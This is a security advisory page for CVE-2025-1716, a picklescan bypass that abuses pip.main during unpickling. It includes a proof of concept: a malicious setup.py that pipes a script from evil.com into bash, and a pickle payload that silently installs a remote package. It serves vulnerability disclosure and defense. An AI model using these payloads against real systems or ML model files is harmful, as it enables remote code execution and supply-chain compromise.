CVE-2025-1716: picklescan - Security scanning bypass via 'pip main'

Published Feb 26, 2025
·
Updated

CVE-2025-1716

Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entrypoints, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entrypoint.

Example malicious setup.py from setuptools import setup import os

os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script

setup( name="rsac-demo-package", version="0.1", packages=["rsacdemo"], installrequires=[], ) Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle import pickle import pip

class Exploit: def reduce(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], )

maliciouspickle = pickle.dumps(Exploit())

Simulating deserialization attack pickle.loads(maliciouspickle) This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes Add "pip": "" to the list of unsafe globals

Other sources

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via pip.main(). Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

MITRE

Affected Software

3 affected componentsFixes available
Picklescan Picklescan<0.0.21
pip/picklescan<=0.0.21
0.0.22
mmaitre314 picklescan<0.0.22

Event History

Feb 26, 2025
CVE Published
via MITRE·02:51 PM
Data Sourced
via MITRE·02:51 PM
DescriptionWeakness
Data Sourced
via NVD·03:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:15 PM
RemedyAffected Software
Mar 3, 2025
Advisory Published
via GitHub·08:05 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-1716?

CVE-2025-1716 has a medium severity due to its potential to allow an attacker to load malicious packages.

2

How do I fix CVE-2025-1716?

To fix CVE-2025-1716, upgrade to PickleScan version 0.0.21 or later.

3

What systems are affected by CVE-2025-1716?

CVE-2025-1716 affects versions of PickleScan prior to 0.0.21.

4

What kind of attack can be executed through CVE-2025-1716?

An attacker could craft a malicious model using Pickle to install unauthorized PyPI packages.

5

Is CVE-2025-1716 related to Python's Pickle module?

Yes, CVE-2025-1716 is related to the unsafe handling of the Pickle module, allowing potential exploitation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203